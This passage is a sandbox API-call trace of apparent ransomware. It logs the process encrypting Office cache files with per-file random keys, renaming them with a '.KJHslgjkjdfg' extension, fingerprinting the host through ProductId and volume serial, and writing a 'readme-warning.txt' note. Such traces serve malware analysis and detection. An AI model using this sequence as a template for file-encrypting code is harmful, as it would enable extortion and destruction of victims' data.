out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0137.359] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0137.359] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0137.359] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0137.359] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0137.359] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.359] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.359] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x91975, lpOverlapped=0x0) returned 1 [0137.391] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x91980, dwBufLen=0x91980 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x91980) returned 1 [0137.398] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.398] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x91980, lpOverlapped=0x0) returned 1 [0137.401] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.401] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x91a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.401] SetEndOfFile (hFile=0x114) returned 1 [0137.404] GetProcessHeap () returned 0x2a0000 [0137.404] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.404] GetProcessHeap () returned 0x2a0000 [0137.404] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.404] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.kjhslgjkjdfg")) returned 1 [0137.405] CloseHandle (hObject=0x114) returned 1 [0137.413] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0137.413] GetProcessHeap () returned 0x2a0000 [0137.413] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.413] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0137.413] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0137.413] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.413] GetProcessHeap () returned 0x2a0000 [0137.413] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0137.413] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0137.413] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0137.413] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.413] GetProcessHeap () returned 0x2a0000 [0137.413] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0137.413] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0137.413] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0137.413] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.414] GetProcessHeap () returned 0x2a0000 [0137.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0137.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0137.414] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0137.414] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.414] GetProcessHeap () returned 0x2a0000 [0137.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0137.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0137.414] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ec88 | out: pbData=0x2c1668, pdwDataLen=0x290ec88) returned 1 [0137.414] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.414] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0137.414] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0137.414] RegCloseKey (hKey=0x114) returned 0x0 [0137.414] GetProcessHeap () returned 0x2a0000 [0137.414] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0137.414] GetProcessHeap () returned 0x2a0000 [0137.414] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0137.415] GetProcessHeap () returned 0x2a0000 [0137.415] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0137.415] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0137.415] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ea5c | out: pbData=0x2c1668, pdwDataLen=0x290ea5c) returned 1 [0137.415] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0137.415] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0137.415] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0137.415] GetProcessHeap () returned 0x2a0000 [0137.415] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0137.415] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0137.415] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0137.415] GetProcessHeap () returned 0x2a0000 [0137.415] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f3698 [0137.415] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\readme-warning.txt") returned 94 [0137.415] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0137.416] WriteFile (in: hFile=0x114, lpBuffer=0x2f3698*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f3698*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0137.417] CloseHandle (hObject=0x114) returned 1 [0137.417] GetProcessHeap () returned 0x2a0000 [0137.417] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0137.417] GetProcessHeap () returned 0x2a0000 [0137.418] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f3698 | out: hHeap=0x2a0000) returned 1 [0137.418] GetProcessHeap () returned 0x2a0000 [0137.418] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0137.418] GetProcessHeap () returned 0x2a0000 [0137.418] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.418] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0137.418] GetProcessHeap () returned 0x2a0000 [0137.418] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d50 | out: hHeap=0x2a0000) returned 1 [0137.418] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0137.418] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.419] GetProcessHeap () returned 0x2a0000 [0137.419] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.419] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.419] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0137.419] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.419] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.419] GetProcessHeap () returned 0x2a0000 [0137.419] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.419] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0137.419] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.419] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0137.422] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0137.422] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0137.422] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0137.422] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0137.422] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0137.422] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.422] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.422] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.422] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd4200, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xd4200, lpOverlapped=0x0) returned 1 [0137.450] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd4200, dwBufLen=0xd4200 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd4200) returned 1 [0137.459] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.459] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd4200, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xd4200, lpOverlapped=0x0) returned 1 [0137.462] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.462] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd42d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.462] SetEndOfFile (hFile=0x124) returned 1 [0137.465] GetProcessHeap () returned 0x2a0000 [0137.465] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.465] GetProcessHeap () returned 0x2a0000 [0137.465] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.465] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.kjhslgjkjdfg")) returned 1 [0137.476] CloseHandle (hObject=0x124) returned 1 [0137.476] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0137.476] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.477] GetProcessHeap () returned 0x2a0000 [0137.477] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.477] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.477] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0137.477] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xd, lpOverlapped=0x0) returned 1 [0137.480] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.480] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.480] GetProcessHeap () returned 0x2a0000 [0137.480] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0137.480] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0137.480] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.480] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0137.480] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0137.480] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0137.480] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0137.481] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0137.481] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0137.481] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.481] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.481] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.481] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x333, lpOverlapped=0x0) returned 1 [0137.481] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x340, dwBufLen=0x340 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x340) returned 1 [0137.481] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.481] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x340, lpOverlapped=0x0) returned 1 [0137.481] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.481] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.481] SetEndOfFile (hFile=0x124) returned 1 [0137.483] GetProcessHeap () returned 0x2a0000 [0137.483] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0137.483] GetProcessHeap () returned 0x2a0000 [0137.483] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0137.483] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.kjhslgjkjdfg")) returned 1 [0137.489] CloseHandle (hObject=0x124) returned 1 [0137.489] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0137.489] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0137.489] GetProcessHeap () returned 0x2a0000 [0137.489] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0137.489] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0137.489] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0137.489] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0137.489] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0137.489] GetProcessHeap () returned 0x2a0000 [0137.490] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0137.490] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0137.490] CryptDestroyKey (hKey=0x2c6260) returned 1 [0137.490] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0137.492] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0137.492] 